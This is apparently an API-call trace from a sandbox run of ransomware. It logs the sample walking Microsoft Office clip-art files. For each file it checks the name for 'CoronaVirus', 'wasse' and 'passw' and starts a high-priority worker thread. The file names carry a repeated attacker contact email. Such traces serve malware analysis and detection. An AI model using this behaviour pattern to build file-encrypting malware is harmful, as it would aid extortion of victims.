	[0093.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="passw") returned 0x0
	[0093.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c
	[0093.739] SetThreadPriority (hThread=0xa8c, nPriority=15) returned 1
	[0093.746] malloc (_Size=0x1000) returned 0x51f4090
	[0093.746] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 155
	[0093.749] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.749] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="wasse") returned 0x0
	[0093.749] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="passw") returned 0x0
	[0093.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90
	[0093.750] SetThreadPriority (hThread=0xa90, nPriority=15) returned 1
	[0093.751] malloc (_Size=0x1000) returned 0x51f5098
	[0093.756] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 184
	[0093.756] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.756] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="wasse") returned 0x0
	[0093.756] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="passw") returned 0x0
	[0093.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98
	[0093.759] SetThreadPriority (hThread=0xa98, nPriority=15) returned 1
	[0093.770] malloc (_Size=0x1000) returned 0x51f3088
	[0093.770] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 184
	[0093.770] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.770] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="wasse") returned 0x0
	[0093.770] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="passw") returned 0x0
	[0093.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c
	[0093.770] SetThreadPriority (hThread=0xa9c, nPriority=15) returned 1
	[0093.772] malloc (_Size=0x1000) returned 0x51f0070
	[0093.774] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 184
	[0093.774] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.777] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="wasse") returned 0x0
	[0093.777] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="passw") returned 0x0
	[0093.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0
	[0093.777] SetThreadPriority (hThread=0xaa0, nPriority=15) returned 1
	[0093.779] malloc (_Size=0x1000) returned 0x51f3088
	[0093.782] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 184
	[0093.786] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.786] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="wasse") returned 0x0
	[0093.786] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="passw") returned 0x0
	[0093.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94
	[0093.787] SetThreadPriority (hThread=0xa94, nPriority=15) returned 1
	[0093.823] malloc (_Size=0x1000) returned 0x51f3088
	[0093.823] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 184
	[0093.824] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.824] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="wasse") returned 0x0
	[0093.824] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="passw") returned 0x0
	[0093.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4
	[0093.829] SetThreadPriority (hThread=0xaa4, nPriority=15) returned 1
	[0093.837] malloc (_Size=0x1000) returned 0x51f1078
	[0093.837] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 184
	[0093.837] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.837] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="wasse") returned 0x0
	[0093.837] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="passw") returned 0x0
	[0093.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8
	[0093.839] SetThreadPriority (hThread=0xaa8, nPriority=15) returned 1
	[0093.844] malloc (_Size=0x1000) returned 0x51f5098
	[0093.844] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 184
	[0093.844] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.844] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="wasse") returned 0x0
	[0093.844] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="passw") returned 0x0
	[0093.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaac
	[0093.853] SetThreadPriority (hThread=0xaac, nPriority=15) returned 1
	[0093.855] malloc (_Size=0x1000) returned 0x51f3088
	[0093.858] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 184
	[0093.859] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.860] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="wasse") returned 0x0
	[0093.861] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="passw") returned 0x0
	[0093.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0
	[0093.861] SetThreadPriority (hThread=0xab0, nPriority=15) returned 1
	[0093.863] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.866] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 184
	[0093.867] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.869] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="wasse") returned 0x0
	[0093.869] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="passw") returned 0x0
	[0093.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4
	[0093.870] SetThreadPriority (hThread=0xab4, nPriority=15) returned 1
	[0093.872] malloc (_Size=0x1000) returned 0x51f0070
	[0093.873] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 184
	[0093.876] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.876] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="wasse") returned 0x0
	[0093.876] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="passw") returned 0x0
	[0093.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8
	[0093.876] SetThreadPriority (hThread=0xab8, nPriority=15) returned 1
	[0093.878] malloc (_Size=0x1000) returned 0x51f1078
	[0093.885] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 184
	[0093.885] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.885] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="wasse") returned 0x0
	[0093.885] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="passw") returned 0x0
	[0093.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc
	[0093.886] SetThreadPriority (hThread=0xabc, nPriority=15) returned 1
	[0093.888] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.891] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 184
	[0093.891] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.891] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="wasse") returned 0x0
	[0093.897] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="passw") returned 0x0
	[0093.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0
	[0093.898] SetThreadPriority (hThread=0xac0, nPriority=15) returned 1
	[0093.900] malloc (_Size=0x1000) returned 0x51f0070
	[0093.901] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 184
	[0093.902] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.904] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="wasse") returned 0x0
	[0093.904] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="passw") returned 0x0
	[0093.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac4
	[0093.905] SetThreadPriority (hThread=0xac4, nPriority=15) returned 1
	[0093.907] malloc (_Size=0x1000) returned 0x51f1078
	[0093.909] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 184
	[0093.911] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.911] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="wasse") returned 0x0
	[0093.911] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="passw") returned 0x0
	[0093.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8
	[0093.912] SetThreadPriority (hThread=0xac8, nPriority=15) returned 1
	[0093.913] malloc (_Size=0x1000) returned 0x51f3088
	[0093.917] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 184
	[0093.917] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.920] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="wasse") returned 0x0
	[0093.920] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="passw") returned 0x0
	[0093.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc
	[0093.920] SetThreadPriority (hThread=0xacc, nPriority=15) returned 1
	[0093.927] malloc (_Size=0x1000) returned 0x51f3088
	[0093.927] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 184
	[0093.927] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.927] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="wasse") returned 0x0
	[0093.927] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="passw") returned 0x0
	[0093.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad0
	[0093.928] SetThreadPriority (hThread=0xad0, nPriority=15) returned 1
	[0093.930] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.932] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 184
	[0093.932] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="wasse") returned 0x0
	[0093.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="passw") returned 0x0
	[0093.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4
	[0093.936] SetThreadPriority (hThread=0xad4, nPriority=15) returned 1
	[0093.938] malloc (_Size=0x1000) returned 0x51f4090
	[0093.944] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 184
	[0093.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="wasse") returned 0x0
	[0093.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="passw") returned 0x0
	[0093.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8
	[0093.944] SetThreadPriority (hThread=0xad8, nPriority=15) returned 1
	[0093.946] malloc (_Size=0x1000) returned 0x51f5098
